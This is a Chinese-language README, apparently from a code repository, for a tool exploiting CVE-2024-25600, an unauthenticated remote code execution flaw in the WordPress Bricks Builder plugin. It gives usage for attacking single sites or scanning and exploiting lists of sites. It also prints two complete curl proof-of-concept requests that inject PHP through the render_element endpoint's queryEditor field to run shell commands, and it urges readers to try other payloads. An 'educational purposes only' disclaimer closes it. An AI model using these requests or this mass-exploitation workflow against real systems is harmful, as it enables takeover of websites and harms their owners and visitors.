
此工具 🛠️ 旨在利用 WordPress 的 Bricks Builder 插件中发现的 CVE-2024-25600 漏洞 🕳️。该漏洞允许在受影响的网站 💻 上进行未经身份验证的远程代码执行。该工具通过检索 nonce 并发送特制请求来执行任意命令,从而自动化利用过程。
git clone 将此仓库克隆到您的本地机器 🖥️。pip install -r requirements.txt 安装所需的 Python 库。python exploit.py -u <URL> 运行工具以启动交互模式。python exploit.py -l <文件路径> 运行工具以扫描并利用列出的网站。披露提供的基础 PoC 如下:
curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}'
更新:第二个 PoC(更可靠)
curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "carousel",
"settings": {
"type": "posts",
"query": {
"useQueryEditor": true,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}'
可能存在其他能产生更好结果的 payload。如果我的利用工具或概念验证对您无效,我鼓励您尝试替代的 payload 以找到更有效的解决方案。
将 [HOST] 替换为目标网站,将 [NONCE] 替换为从网站检索到的 nonce 值。
有关 CVE-2024-25600 漏洞的更多信息,请参阅 Snicco.io 上的详细披露。
本 README 中提供的信息仅供教育目的。未经授权入侵网站或网络是非法且不道德的。 🚫
感谢发现并报告此漏洞的安全研究人员,他们为社区提供了帮助保护其 Web 应用程序的信息和工具。